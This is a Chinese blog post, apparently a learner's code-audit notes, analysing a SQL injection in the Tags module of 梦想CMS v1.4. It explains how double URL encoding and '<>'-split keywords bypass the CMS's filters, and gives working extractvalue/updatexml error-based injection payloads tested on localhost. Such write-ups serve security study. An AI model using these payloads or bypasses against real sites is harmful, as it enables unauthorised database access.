PHP-代码审计项目-梦想CMS-前台注入

本文最后更新于 2024年10月22日 下午

前言:俺开始学代码审计了,之前一直在黑盒方面学习,黑盒漏洞挖掘,没有接触过白盒,于是开始学习代码审计。【PHP代码审计项目】系列是一些用来学习练手的CMS的审计笔记,写的不好,但是也是一个记录吧,多年之后再看也是会感慨万千吧哈哈,最后学习完了代码审计我会写一个总结性的文章,还望各位大佬师傅轻喷,欢迎随时指教小弟……

审计环境

  • phpstudy 2018
  • php-5.4.45 + Apache
  • phpstrom 2018
  • CMS源码:梦想CMS-v1.4

审计过程

image

  1. 根据CNVD提示,找到目标文件TagsAction.class.php

image

image

  1. 发现切入点:p()传入的第三个参数是”sql”,于是此处可能存在数据库操作 p()传参 2,1,1

image

  1. 跟进p()

image

结合注释分析代码可知,p()可接收4个参数,分别是:选择接收数据的方式,是否对接收数据的引号转义,是否验证sql非法字符,是否验证sql保留字,那么p()传参2 1 1 ,就是$data等同于$_GET方式,开启对引号的转义,开启sql非法字符过滤

  1. 跟进sql过滤函数filter_sql()

image

转小写,使用正则匹配过滤了一些关键的东西select from update……会较大程度影响地阻止sql注入

  1. 回到Tags ,往下审计

image

p()的第一个参数使得$data成为$_GET类型,接收输入,delHtml过滤html标签后使用GET方式接收参数name,赋给$name变量,之后又对$name进行了url解码。此时就可以使用二次编码绕过了:因为p()中过滤逻辑在前,urldecode()解码逻辑在后,也就是说如果对payload进行两次url编码,输入到浏览器,自动解码一次,再到后端时,p()中的filter_sql()过滤函数对进行了url编码的paylaod当然不会进行过滤处理,而当数据流来到urldecode()时,payload又被解码为恶意的sql语句了,到此成功绕过了引号转义!

  1. 前面还提到,filter_sql()函数过滤了select update from等关键字,使用二次编码只能绕过对引号的转义,因为字母的url编码还是其本身,怎么绕过关键字的过滤呢?跟进delHtml()

image

发现delHtml()会去掉”<>”,并且delHtml()去掉”<>”的逻辑在filter_sql()过滤关键字的逻辑之后,什么意思呢?也就是说如果我输入”se<>lect” ,这个数据会先被filter_sql()处理,filter_sql()发现它不是”select”,就放过了它,之后该数据来到delHtml(),delHtml()发现它有”<>”标签,于是给它去掉了,就变成了”select”,于是通过给关键字加上”<>”可以成功实现对关键字过滤的绕过!

  1. 到此我们知道了怎么去绕过引号转义和关键字过滤了,但是还没找到sql语句具体是在哪里执行的,继续回到回到Tags ,往下审计,跟进getNameData()

image

image

  1. 跟进oneModel()

image

  1. 跟进oneDB()

image

终于找到sql语句具体执行的地方,数据流中途多次流转,但全程未过滤,为了方便调试,输出一下sql语句

1
echo "执行的sqi语句是:".$sql;

image

漏洞复现

构造url访问

1
http://localhost/cms/lmxcms1.4/?m=Tags&name=1

image

构造payload

  1. 不会被关键字过滤的payload
1
1' and extractvalue(1,concat(0x7e,version(),0x7e))#
  • 只需要使用二次编码绕过引号转义:
1
1%2527%2520and%2520extractvalue(1%252Cconcat(0x7e%252Cversion()%252C0x7e))%2523

image

成功报错注入获得mysql版本

  1. 会被关键字过滤的payload (正则匹配了update)
1
1' and updatexml(1,concat(0x7e,version(),0x7e),1)#
  • 使用二次编码绕过引号转义
1
1%2527%2520and%2520updatexml(1%252Cconcat(0x7e%252Cversion()%252C0x7e)%252C1)%2523

image

关键字update被拦截了,于是利用delHtml(),添加”<>”混淆关键字过滤

使用二次编码绕过引号转义,使用”<>”混淆关键字过滤

1
1%2527%2520and%2520upda<>texml(1%252Cconcat(0x7e%252Cversion()%252C0x7e)%252C1)%2523

image

成功报错注入获得mysql版本